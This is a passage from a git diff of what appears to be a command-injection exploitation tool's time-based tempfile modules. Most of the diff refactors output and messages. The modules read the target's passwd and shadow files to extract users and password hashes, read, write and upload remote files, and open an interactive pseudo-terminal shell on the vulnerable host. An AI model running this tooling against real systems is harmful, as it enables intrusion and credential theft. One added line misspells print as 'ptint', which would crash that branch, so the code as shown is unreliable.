settings.print_warning_msg(warn_msg)) + warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." + print(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users).strip() print(sys_users) output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(" " + sys_users) output_file.close() - else: + else: sys_users_list = [] for user in range(0, len(sys_users), 3): sys_users_list.append(sys_users[user : user + 3]) if len(sys_users_list) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) info_msg = "Identified " + str(len(sys_users_list)) info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] info_msg += " in '" + settings.PASSWD_FILE + "'." - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) @@ -403,7 +370,7 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese is_privileged_nh = " is anonymous user " elif int(fields[1]) == 60002: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " - is_privileged_nh = " is non-trusted user " + is_privileged_nh = " is non-trusted user " else: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " is_privileged_nh = " is regular user " @@ -413,12 +380,11 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese else : is_privileged = "" is_privileged_nh = "" - sys.stdout.write("\n" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") - sys.stdout.flush() - # Add infos to logs file. + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") + # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -426,27 +392,23 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese warn_msg += "appropriate format. Thus, it is expoted as a text file." print(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users.split(":")) - print(sys_users) + print(sys_users) output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(" " + sys_users) output_file.close() else: - sys.stdout.write(settings.FAIL_STATUS) + print(settings.SINGLE_WHITESPACE) warn_msg = "It seems that you don't have permissions to read the '" - warn_msg += settings.PASSWD_FILE + "'." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + warn_msg += settings.PASSWD_FILE + "'." + ptint(settings.print_warning_msg(warn_msg)) except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() pass except IndexError: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "'." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + print(settings.SINGLE_WHITESPACE) + warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" + warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." + print(settings.print_warning_msg(warn_msg)) pass """ @@ -455,8 +417,9 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False if settings.TARGET_OS == "win": - # Not yet implemented! - pass + check_option = "--passwords" + checks.unavailable_option(check_option) + pass else: cmd = settings.SYS_PASSES #print(settings.SINGLE_WHITESPACE) @@ -472,22 +435,17 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti if sys_passes == "": sys_passes = " " if sys_passes : - if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: - print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching the content of the file '" + settings.SHADOW_FILE + "' in order to enumerate users password hashes. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - sys_passes = "".join(str(p) for p in sys_passes) + info_msg = "Fetching content of the file '" + settings.SHADOW_FILE + info_msg += "' in order to enumerate users password hashes. " + print(settings.print_info_msg(info_msg)) sys_passes = sys_passes.replace(" ", "\n") - sys_passes = sys_passes.split( ) + sys_passes = sys_passes.split() if len(sys_passes) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) info_msg = "Identified " + str(len(sys_passes)) info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. + info_msg += " in '" + settings.SHADOW_FILE + "'." + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) @@ -499,8 +457,8 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti if ":" in line: fields = line.split(":") if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) - # Add infos to logs file. + print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) + # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") @@ -510,91 +468,100 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti if count == 1 : warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " warn_msg += "in the appropriate format. Thus, it is expoted as a text file." - sys.stdout.write(settings.print_warning_msg(warn_msg)+ "\n") + print(settings.print_warning_msg(warn_msg)) print(fields[0]) output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(" " + fields[0]) output_file.close() else: - sys.stdout.write(settings.FAIL_STATUS) warn_msg = "It seems that you don't have permissions to read the '" warn_msg += settings.SHADOW_FILE + "' file." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) """ Single os-shell execution """ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - info_msg = "Executing the user-supplied command '" + cmd + "'." + info_msg = "Executing the user-supplied command: '" + cmd + "'." print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) - print(settings.SINGLE_WHITESPACE) + if settings.VERBOSITY_LEVEL == 0: + print(settings.SINGLE_WHITESPACE) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) check_how_long = 0 if len(output) > 1: - if settings.VERBOSITY_LEVEL <= 1: - print(settings.SINGLE_WHITESPACE) - print(settings.command_execution_output(output)) - print(settings.SINGLE_WHITESPACE) + _ = "'" + cmd + "' execution output" + print(settings.print_retrieved_data(_, output)) else: - err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg)) + err_msg = "The execution of '" + cmd + "' command does not return any output." + print(settings.print_error_msg(err_msg)) return check_how_long, output """ Check the defined options """ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - if settings.ENUMERATION_DONE: - settings.ENUMERATION_DONE = False - + def reset(): + if settings.ENUMERATION_DONE: + settings.ENUMERATION_DONE = False + + reset() if menu.options.ps_version and settings.PS_ENABLED == None: if not checks.ps_incompatible_os(): - if settings.ENUMERATION_DONE == True: + if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) + info_msg = "Fetching powershell version." + print(settings.print_info_msg(info_msg)) powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True + reset() if menu.options.hostname: - if settings.ENUMERATION_DONE == True: + if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) + info_msg = "Fetching hostname." + print(settings.print_info_msg(info_msg)) hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True + reset() if menu.options.current_user: - if settings.ENUMERATION_DONE == True: + if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) + info_msg = "Fetching current user." + print(settings.print_info_msg(info_msg)) current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True + reset() + + if menu.options.is_root or menu.options.is_admin: + if settings.ENUMERATION_DONE: + print(settings.SINGLE_WHITESPACE) + info_msg = "Testing if current user has excessive privileges." + print(settings.print_info_msg(info_msg)) + check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + reset() if menu.options.sys_info: - if settings.ENUMERATION_DONE == True: + if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) + info_msg = "Fetching the underlying operating system information." + print(settings.print_info_msg(info_msg)) system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True + reset() if menu.options.users: - if settings.ENUMERATION_DONE == True: + if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True + reset() if menu.options.passwords: - if settings.ENUMERATION_DONE == True: + if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True + reset() # eof diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py index bc848a3aef..625f19e774 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py @@ -35,7 +35,7 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() - info_msg = "Fetching the content of the file '" + info_msg = "Fetching content of the file: '" info_msg += file_to_read + "'." print(settings.print_info_msg(info_msg)) @@ -59,14 +59,12 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "Fetched content of the file '" - info_msg += file_to_read + "'." - print(settings.print_bold_info_msg(info_msg)) - print(settings.print_sub_content(shell)) + _ = "Fetched file content" + print(settings.print_retrieved_data(_, shell)) output_file = open(filename, "a") if not menu.options.no_logging: info_msg = "Extracted content of the file '" - info_msg += file_to_read + "' : " + shell + ".\n" + info_msg += file_to_read + "' : " + shell + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: @@ -147,7 +145,8 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, shell = "".join(str(p) for p in shell) # Check if file exists cmd = "echo $(ls " + dest_to_write + ")" - print(settings.SINGLE_WHITESPACE) + if settings.VERBOSITY_LEVEL == 0: + print(settings.SINGLE_WHITESPACE) check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) shell = output try: @@ -160,7 +159,6 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." print(settings.print_bold_info_msg(info_msg)) else: - sys.stdout.flush() warn_msg = "It seems that you don't have permissions to write files on the remote direcoty '" + dest_to_write + "'." print(settings.print_warning_msg(warn_msg)) @@ -169,7 +167,8 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, """ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): if settings.TARGET_OS == "win": - # Not yet implemented + check_option = "--file-upload" + checks.unavailable_option(check_option) pass else: file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() @@ -208,7 +207,8 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec cmd = "dir " + dest_to_upload + ")" else: cmd = "echo $(ls " + dest_to_upload + ")" - print(settings.SINGLE_WHITESPACE) + if settings.VERBOSITY_LEVEL == 0: + print(settings.SINGLE_WHITESPACE) check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) shell = output try: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 5527993e63..c3a67f2012 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -50,8 +50,8 @@ """ def delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Deleting the generated file '" + OUTPUT_TEXTFILE + "'.\n" - sys.stdout.write(settings.print_debug_msg(debug_msg)) + debug_msg = "Deleting the generated file '" + OUTPUT_TEXTFILE + "'" + print(settings.print_debug_msg(debug_msg)) if settings.TARGET_OS == "win": cmd = settings.WIN_DEL + OUTPUT_TEXTFILE else: @@ -157,12 +157,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: + if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload_msg)) - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) print(settings.print_payload(payload)) # Cookie header injection @@ -320,17 +316,10 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() - except KeyboardInterrupt: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - if 'cmd' in locals(): - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise - - except SystemExit: + except (KeyboardInterrupt, SystemExit): if 'cmd' in locals(): # Delete previous shell (text) files (output) from temp. + print(settings.SINGLE_WHITESPACE) delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise @@ -365,6 +354,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, else: percent = ".. (" + str(float_percent) + "%)" break + # Yaw, got shellz! # Do some magic tricks! if (url_time_response == 0 and (how_long - timesec) >= 0) or \ @@ -436,11 +426,13 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, checks.total_of_requests() # Print the findings to terminal. - info_msg = "The" + finding = "" if len(found_vuln_parameter) > 0 and not "cookie" in header_name : - info_msg += " " + http_request_method - info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name - info_msg += found_vuln_parameter + " seems injectable via " + finding += http_request_method + finding += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name + found_vuln_parameter + + # Print the findings to terminal. + info_msg = finding + " appears to be injectable via " info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) @@ -458,19 +450,19 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if settings.TARGET_OS == "win": time.sleep(1) - new_line = True + _ = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True : + _ = True while True: - message = "Do you want to ignore stored session and enumerate again? [Y/n] > " - enumerate_again = common.read_input(message, default="Y", check_batch=True) + message = "Do you want to ignore stored session and enumerate again? [y/N] > " + enumerate_again = common.read_input(message, default="N", check_batch=True) if enumerate_again in settings.CHOICE_YES: if not menu.options.ignore_session: menu.options.ignore_session = True tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) break elif enumerate_again in settings.CHOICE_NO: - new_line = False break elif enumerate_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. @@ -482,22 +474,23 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, pass else: if menu.enumeration_options(): + _ = True tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + + if settings.FILE_ACCESS_DONE == False and _ == False: + print(settings.SINGLE_WHITESPACE) # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : - if settings.ENUMERATION_DONE == True and new_line: - print(settings.SINGLE_WHITESPACE) while True: - message = "Do you want to ignore stored session and access files again? [Y/n] > " - file_access_again = common.read_input(message, default="Y", check_batch=True) + message = "Do you want to ignore stored session and access files again? [y/N] > " + file_access_again = common.read_input(message, default="N", check_batch=True) if file_access_again in settings.CHOICE_YES: if not menu.options.ignore_session: menu.options.ignore_session = True tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) break elif file_access_again in settings.CHOICE_NO: - new_line = False break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. @@ -508,9 +501,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, print(settings.print_error_msg(err_msg)) pass else: - if not new_line: - print(settings.SINGLE_WHITESPACE) - tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + if menu.file_access_options(): + tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Check if defined single cmd. if menu.options.os_cmd: @@ -518,26 +510,22 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Export injection result if len(output) > 1: - #tfb_injector.export_injection_results(cmd, separator, output, check_how_long) - # Delete previous shell (text) files (output) from temp. - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - + + # Pseudo-Terminal shell try: - # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break - message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " + message = finding + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " if settings.IS_TTY: gotshell = common.read_input(message, default="Y", check_batch=True) else: gotshell = common.read_input(message, default="n", check_batch=True) if gotshell in settings.CHOICE_YES: - print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") + print(settings.OS_SHELL_TITLE) if settings.READLINE_ERROR: checks.no_readline_module() while True: @@ -557,21 +545,22 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, break if go_back and go_back_again: return True - if menu.options.ignore_session or \ - session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - # Export injection result - tfb_injector.export_injection_results(cmd, separator, output, check_how_long) - if not menu.options.ignore_session : - session_handler.store_cmd(url, cmd, output, vuln_parameter) else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + if menu.options.ignore_session or \ + session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: + # The main command injection exploitation. + check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + # Export injection result + tfb_injector.export_injection_results(cmd, separator, output, check_how_long) + if not menu.options.ignore_session : + session_handler.store_cmd(url, cmd, output, vuln_parameter) + else: + output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + print(settings.SINGLE_WHITESPACE) + print(settings.print_output(output)) + print(settings.SINGLE_WHITESPACE) # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, output) - print("\n" + settings.print_output(output) + "\n") - # Update logs with executed cmds and execution results. - logs.executed_command(filename, cmd, output) elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: @@ -592,17 +581,11 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, print(settings.print_error_msg(err_msg)) pass - except KeyboardInterrupt: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) + except (KeyboardInterrupt, SystemExit): # Delete previous shell (text) files (output) from temp. + print(settings.SINGLE_WHITESPACE) delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise - - except SystemExit: - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise except EOFError: if not settings.IS_TTY: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 39454a076a..1367d0678a 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -189,10 +189,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, found_chars = False info_msg = "Retrieving the length of execution output (via '" + OUTPUT_TEXTFILE +"')." - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - if settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) + print(settings.print_info_msg(info_msg)) for output_length in range(int(minlen), int(maxlen)): # Execute shell commands on vulnerable host. if alter_shell : @@ -211,13 +208,9 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: + if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - sys.stdout.write("\n" + settings.print_payload(payload_msg)) - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) - print(settings.print_payload(payload)) + print(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -249,13 +242,6 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if injection_check == True: if output_length > 1: - if settings.VERBOSITY_LEVEL != 0: - pass - else: - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() - if settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) if settings.VERBOSITY_LEVEL != 0: debug_msg = "Retrieved the length of execution output: " + str(output_length) print(settings.print_bold_debug_msg(debug_msg)) @@ -279,8 +265,6 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, info_msg = "Retrieving the execution output (via '" + OUTPUT_TEXTFILE + "')." if settings.VERBOSITY_LEVEL == 0 : info_msg += ".. (" + str(percent) + ")" - elif settings.VERBOSITY_LEVEL == 1 : - info_msg += "" else: info_msg += "\n" if output_length > 1: @@ -305,13 +289,9 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: + if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - sys.stdout.write("\n" + settings.print_payload(payload_msg)) - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) - print(settings.print_payload(payload)) + print(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -362,19 +342,15 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, check_how_long = int(check_end - check_start) output = "".join(str(p) for p in output) + # Check for empty output. + if output == (len(output) * " "): + output = "" + else: check_start = 0 - if settings.VERBOSITY_LEVEL == 0: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - else: - pass - check_how_long = 0 output = "" - if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: - print(settings.SINGLE_WHITESPACE) return check_how_long, output """ @@ -390,12 +366,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()" found_chars = False - debug_msg = "Checking the reliability of the used payload " - debug_msg += "in case of a false positive result. " - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + checks.check_for_false_positive_result() # Varying the sleep time. timesec = timesec + random.randint(1, 5) @@ -419,16 +390,10 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: + if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - sys.stdout.write("\n" + settings.print_payload(payload_msg)) - # Check if defined "--verbose" option. - elif settings.VERBOSITY_LEVEL != 0: - debug_msg = "Generating payload for testing the reliability of used payload." - print(settings.print_debug_msg(debug_msg)) - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write(settings.print_payload(payload_msg) + "\n") - + print(settings.print_payload(payload_msg)) + # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: how_long = cookie_injection_test(url, vuln_parameter, payload) @@ -489,15 +454,9 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese payload = 